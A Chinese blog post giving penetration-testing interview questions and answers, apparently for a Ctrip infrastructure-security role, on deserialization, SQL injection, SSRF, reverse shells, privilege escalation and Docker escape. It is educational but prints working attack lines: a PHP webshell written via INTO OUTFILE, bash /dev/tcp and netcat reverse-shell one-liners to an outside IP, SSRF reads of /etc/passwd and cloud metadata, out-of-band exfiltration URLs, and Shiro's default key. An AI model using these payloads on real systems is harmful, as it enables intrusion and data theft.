2025年渗透测试面试题总结-某 携程旅游-基础安全工程师(题目+回答)

发布于:2025-04-02 ⋅ 阅读:(15) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 携程旅游-基础安全工程师

反序列化原理

核心原理

扩展分析

SQL注入本质

核心原理

扩展分析

SQL注入写马流程

核心步骤

扩展分析

Outfile与Dumpfile的区别

宽字节截断原理

核心逻辑

扩展分析

SSRF的利用和防御

利用方式

防御方案

SSRF无回显如何利用

Shiro利用失败分析

文件上传防御

SQLMap原理与XSS扫描器对比

SQLMap核心逻辑

XSS扫描器原理

反弹Shell检测与原理

检测手段

反弹Shell原理

Agent信息采集与进程树构建

采集信息类型

进程树构建方法

提权检测

Docker逃逸原理

隧道本质

甲方代码审计与红队漏洞挖掘差异

漏扫与入侵检测的权衡

IAST主动与被动的区别

 携程旅游-基础安全工程师

反序列化原理
sql注入本质
sql注入写马流程
outfile与dumpfile的区别 -前者支持多行和自定义编码
宽字节截断原理
SSRF的利用和防御
SSRF无回显如何利用
shiro利用失败,如何分析
文件上传如何防御
sqlmap原理,如何分析
文件上传如何防御
sqlmap原理,常规xss扫描器原理
反弹shell如何检测
反弹shell的原理
作为一个agent 需要采集哪些信息,如何构建进程树
提权如何检测
docker逃逸原理
隧道本质是什么
甲方的代码审计与红队漏洞挖掘有哪些差异
如何权衡各种漏扫或入侵检测的漏报和误报
IAST主动与被动的区别

助用户理解并应对面试。

反序列化原理

核心原理
  1. 序列化与反序列化的定义
    序列化是将对象状态转换为可存储或传输格式(如JSON、XML、二进制流)的过程,反序列化是其逆向操作。其本质是通过特定协议将内存中的对象结构映射为字节流,便于跨平台传输或持久化存储。

  2. 漏洞触发机制
    反序列化漏洞的根源在于:当程序反序列化不可信数据时,若未严格校验数据合法性,攻击者可能通过构造恶意序列化数据触发非预期的对象创建、方法调用或代码执行。例如,Java中通过ObjectInputStream反序列化时,可能触发readObject()方法中的危险逻辑。

  3. 典型攻击场景

    • 利用链构造:攻击者通过组合目标类库中的多个类(如Apache Commons Collections的Transformer链),形成从反序列化入口到危险操作(如Runtime.exec() )的完整利用链。
    • 动态类加载:某些框架(如XStream)允许通过序列化数据指定加载远程类文件,导致远程代码执行(RCE)。
扩展分析
  • 防御措施
    • 白名单验证:限制反序列化的类范围(如Java的ObjectInputFilter)。
    • 签名校验:对序列化数据添加数字签名,防止篡改。
    • 禁用危险功能:如关闭Java的JNDI远程类加载功能。
  • 工具与检测
    • 使用ysoserial生成攻击载荷,通过流量分析或代码审计识别漏洞点。
    • 安全框架如SerialKiller可拦截恶意反序列化行为。

SQL注入本质

核心原理
  1. 输入作为代码执行
    SQL注入的本质是将用户输入拼接到SQL语句中,导致输入数据被解析为SQL代码。例如,' OR 1=1 -- 闭合原查询条件,使查询逻辑失效。

  2. 漏洞分类

    • 联合查询注入:通过UNION合并恶意查询。
    • 布尔盲注:通过页面响应差异逐位推断数据。
    • 时间盲注:利用SLEEP()等函数触发延迟判断。
  3. 攻击影响
    可导致数据泄露、篡改、权限提升,甚至通过xp_cmdshell执行系统命令。

扩展分析
  • 防御方案
    • 预编译(参数化查询):将输入作为参数而非语句的一部分(如Java的PreparedStatement)。
    • 输入过滤:过滤敏感字符(如'";),但需注意转义规则与编码问题。
    • 最小权限原则:数据库账户仅分配必要权限,禁用危险函数。
  • 自动化检测
    • 动态扫描:通过sqlmap等工具自动化探测注入点。
    • 静态分析:使用Semgrep检查代码中的字符串拼接逻辑。

SQL注入写马流程

核心步骤
  1. 路径与权限获取

    • 通过@@secure_file_priv查看MySQL导出路径限制。
    • 确保数据库用户具备FILE权限,且目标目录可写。
  2. 文件写入
    使用SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/shell.php' 将WebShell写入Web目录。

  3. 访问与利用
    通过HTTP请求访问WebShell,传递参数执行命令。

扩展分析
  • 限制条件
    • MySQL需启用--secure-file-priv的非严格模式。
    • 绝对路径需通过报错或枚举获取(如load_file()读取配置文件)。
  • 防御手段
    • 禁用FILE权限,限制数据库账户操作范围。
    • 对Web目录设置不可执行权限。

Outfile与Dumpfile的区别

  1. 功能差异
    • OUTFILE:支持多行数据导出,可指定字段终止符(如FIELDS TERMINATED BY ',')和编码格式。
    • DUMPFILE:仅导出单行数据,适用于二进制文件(如图片、可执行文件)。
  2. 使用场景
    • 导出文本OUTFILE适用于CSV、日志等结构化文本。
    • 导出二进制DUMPFILE用于导出BLOB字段或二进制内容。
  3. 安全限制
    两者均需FILE权限,且受@@secure_file_priv路径限制。

宽字节截断原理

核心逻辑
  1. 编码漏洞成因
    当数据库使用GBK等宽字节编码时,若转义逻辑不当(如PHP的addslashes()),'被转义为\'(即%5C%27)。攻击者输入%bf%27,数据库将%bf%5c解析为繁体字“縗”,导致%27')未被转义,从而闭合字符串。

  2. 利用场景
    常用于绕过转义函数,构造SQL注入或文件上传漏洞(如截断文件名a.php%bf.jpg )。

扩展分析
  • 防御方案
    • 统一使用UTF-8编码,避免宽字节问题。
    • 使用mysql_real_escape_string()而非addslashes()

SSRF的利用和防御

利用方式
  1. 内网服务探测
    • 访问http://127.0.0.1:8080探测本地服务。
    • 利用AWS元数据接口http://169.254.169.254获取云服务器敏感信息。
  2. 协议滥用
    • File协议:读取本地文件(file:///etc/passwd)。
    • Dict协议:探测端口信息(dict://127.0.0.1:6379/info)。
  3. 远程代码执行
    结合内网应用的RCE漏洞(如Redis未授权访问)实现攻击链。
防御方案
  • 输入校验
    • 禁止内网IP和特殊协议(如file://)。
    • 使用域名白名单限制访问范围。
  • 网络层防护
    • 配置防火墙规则,限制应用服务器出站流量。
    • 使用代理服务隔离请求来源。

SSRF无回显如何利用

  1. DNS带外(OOB)
    构造URL如http://dnslog.cn/record?q=payload ,通过DNS查询日志获取数据。
  2. 延迟检测
    通过响应时间差异判断端口开放状态(如访问开放的Redis端口会立即返回错误)。
  3. 外部服务交互
    利用HTTP服务记录请求参数(如https://requestbin.com/?data=secret )。

Shiro利用失败分析

  1. 密钥不匹配
    Shiro的RememberMe功能依赖AES加密,若目标修改默认密钥(kPH+bIxk5D2deZiIxcaaaA==),则无法解密Cookie。
  2. 依赖库缺失
    利用链需特定类库(如Commons Beanutils),若目标环境未包含则攻击失败。
  3. 防御措施生效
    • 开启Shiro的secureRandom增强密钥强度。
    • 使用WAF拦截恶意请求头。

文件上传防御

  1. 文件类型校验
    • 检查MIME类型、文件头(如FFD8FF对应JPEG)。
    • 禁止上传可执行文件(如.php.jsp)。
  2. 存储隔离
    • 文件重命名(如UUID),避免路径遍历。
    • 存储到非Web目录,通过代理服务访问静态资源。
  3. 服务端加固
    • 设置文件大小限制,禁用危险函数(如putenv())。
    • 使用沙箱环境处理上传文件。

SQLMap原理与XSS扫描器对比

SQLMap核心逻辑
  1. 启发式探测
    通过报错信息(如You have an error in your SQL syntax)判断注入点类型。
  2. Payload生成
    针对不同数据库(MySQL、MSSQL)构造联合查询、布尔逻辑等载荷。
  3. 结果提取
    利用UNION查询、时间盲注逐位提取数据。
XSS扫描器原理
  1. 模糊测试(Fuzzing)
    插入<script>alert(1)</script>等测试向量,检测是否原样输出。
  2. DOM分析
    解析JavaScript代码,检测document.location 等敏感源。
  3. 自动化验证
    通过浏览器引擎(如Headless Chrome)模拟点击,检测弹窗行为。

反弹Shell检测与原理

检测手段
  1. 网络流量分析
    • 监控非常规端口的出站连接(如/bin/bash连接外部IP的4444端口)。
    • 识别Shell特征(如sh -i/dev/tcp)。
  2. 进程监控
    • 检测子进程链(如sshd -> bash -> nc)。
    • 使用auditd记录敏感系统调用(execve)。
反弹Shell原理
  1. 反向连接
    受害主机主动连接攻击者控制的IP和端口,绕过防火墙限制。
  2. 常用命令
    • Bashbash -i >& /dev/tcp/1.1.1.1/4444 0>&1
    • Netcatnc -e /bin/sh 1.1.1.1 4444

Agent信息采集与进程树构建

采集信息类型
  1. 系统基础信息
    • 操作系统版本、内核参数、环境变量。
    • 用户列表、计划任务、服务配置。
  2. 运行时数据
    • 进程列表(PID、PPID、命令行参数)。
    • 网络连接(端口、协议、状态)。
  3. 安全相关数据
    • 文件完整性校验(如Tripwire)。
    • 日志文件(syslog、auth.log )。
进程树构建方法
  1. 遍历/proc目录
    解析/proc/[PID]/stat获取父进程ID(PPID),递归生成树状结构。
  2. 工具辅助
    使用pstreehtop可视化展示进程关系。

提权检测

  1. 内核漏洞检测
    使用uname -a获取内核版本,匹配已知漏洞(如DirtyCow)。
  2. SUID/SGID文件检查
    查找具有SUID权限的可执行文件(find / -perm -4000)。
  3. sudo配置审计
    检查/etc/sudoers中用户权限是否过度分配。

Docker逃逸原理

  1. 特权模式滥用
    使用--privileged启动容器,攻击者可通过挂载宿主机目录(/)逃逸。
  2. 漏洞利用
    利用CVE-2019-5736(runc漏洞)覆盖宿主机二进制文件。
  3. 配置错误
    挂载Docker Socket(/var/run/docker.sock )允许容器内控制宿主机Docker服务。

隧道本质

  1. 协议封装
    将原始流量封装在合法协议(如HTTP、DNS)中,绕过防火墙检测。
  2. 流量转发
    使用工具(如frpngrok)建立加密通道,将内网服务暴露至公网。

甲方代码审计与红队漏洞挖掘差异

  1. 目标差异
    • 甲方:聚焦SDL(安全开发生命周期),修复潜在风险(如硬编码密钥)。
    • 红队:寻找可利用漏洞(如RCE、SSRF),模拟真实攻击路径。
  2. 方法论
    • 甲方:结合SAST/DAST工具,覆盖全量代码。
    • 红队:针对性手工测试,利用0day和逻辑漏洞。
  3. 输出结果
    • 甲方:生成漏洞报告并推动修复,关注合规性(如GDPR)。
    • 红队:提供攻击路径报告,协助优化防御体系。

漏扫与入侵检测的权衡

  1. 误报处理
    • 优化规则库:通过误报样本调整正则表达式阈值。
    • 人工验证:对高风险告警手动确认。
  2. 漏报应对
    • 威胁情报整合:基于最新攻击模式更新检测规则。
    • 多层防御:结合网络层、主机层、应用层防护。
  3. 业务适配
    • 根据业务重要性调整检测灵敏度(如金融系统偏向减少漏报)。

IAST主动与被动的区别

  1. 主动式(Instrumentation)
    • 原理:在应用中插入探针,实时监控运行时的数据流和漏洞。
    • 优点:覆盖率高,可检测上下文相关漏洞(如业务逻辑错误)。
    • 缺点:性能损耗大,需适配不同语言框架。
  2. 被动式(流量分析)
    • 原理:通过代理或镜像流量分析请求/响应,识别漏洞模式。
    • 优点:无侵入性,支持多语言应用。
    • 缺点:无法检测未触发代码路径的漏洞。

网站公告

今日签到

点亮在社区的每一天
去签到